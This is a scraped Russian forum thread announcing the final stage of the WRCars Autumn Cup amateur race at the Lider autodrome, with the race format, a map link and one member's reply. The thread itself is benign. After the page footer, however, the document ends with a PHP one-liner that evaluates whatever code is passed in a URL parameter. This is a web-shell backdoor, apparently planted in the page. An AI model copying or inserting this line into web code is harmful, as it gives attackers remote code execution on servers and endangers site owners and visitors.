    http://www.wrcars.ru/forum/gallery/album.php?album_id=50




    Поздравляем победителей!!))

  9. #9
    Напомним, что уже в субботу – 23 октября, пройдёт четвёртый заключительный этап Осеннего Кубка WRCars. По итогам которого мы определим, кто ещё успеет стать чемпионов в сезоне 2010 и принять участие в самых главных баталиях в конце года!
    Старт гонки, традиционно, в 21:00.

    Предлагаем вам стать частью момента и вместе делать славную историю любительского автоспорта. Всем приехавшим будут розданы анкеты, в которых вы сможете отразить своё мнение по многим вопросам, на которое мы будем ориентироваться в дальнейшей организации гонок.

    Формат Осеннего кубка WRCars: 1 – установочный круг – 4 боевых круга – 1 круг возвращения. Лучший круг идёт в зачёт.

    Схема проезда на автодром Лидер:
    Код:
    http://maps.yandex.ru/-/CFXj4nC

  10. #10
    GTI-Racing mpiligrim is on a distinguished road Аватар для mpiligrim
    Регистрация
    28.09.2010
    Откуда
    Moscow/Penza etc.
    Машина
    VW GOLF GTI VI '10 (продано), Renault Clio RS '11, BMW 1M Coupe '11
    Сообщений
    283
    Цитата Сообщение от WRCars Посмотреть сообщение
    Напомним, что уже в субботу – 23 октября, пройдёт четвёртый заключительный этап Осеннего Кубка WRCars. По итогам которого мы определим, кто ещё успеет стать чемпионов в сезоне 2010 и принять участие в самых главных баталиях в конце года!
    Старт гонки, традиционно, в 21:00.

    Предлагаем вам стать частью момента и вместе делать славную историю любительского автоспорта. Всем приехавшим будут розданы анкеты, в которых вы сможете отразить своё мнение по многим вопросам, на которое мы будем ориентироваться в дальнейшей организации гонок.

    Формат Осеннего кубка WRCars: 1 – установочный круг – 4 боевых круга – 1 круг возвращения. Лучший круг идёт в зачёт.

    Схема проезда на автодром Лидер:
    Код:
    http://maps.yandex.ru/-/CFXj4nC
    Совпало со Смоленском.. так бы скатал =)

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Осенний Кубок WRCars Light 2011
    от WRCars в разделе Авто спорт
    Ответов: 2
    Последнее сообщение: 02.11.2011, 22:39
  2. Осенний сезон WRCars
    от WRCars в разделе Авто спорт
    Ответов: 5
    Последнее сообщение: 02.11.2011, 22:31
  3. Летний сезон WRCars. Начало 9 апреля
    от WRCars в разделе Авто спорт
    Ответов: 21
    Последнее сообщение: 23.09.2011, 02:01
  4. Зимний сезон WRCars 2010-2011!
    от deflep в разделе Авто спорт
    Ответов: 2
    Последнее сообщение: 17.12.2010, 21:10
  5. Регламент летнего Кубка WRCars 2010
    от WRCars в разделе Авто спорт
    Ответов: 0
    Последнее сообщение: 29.03.2010, 14:30

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}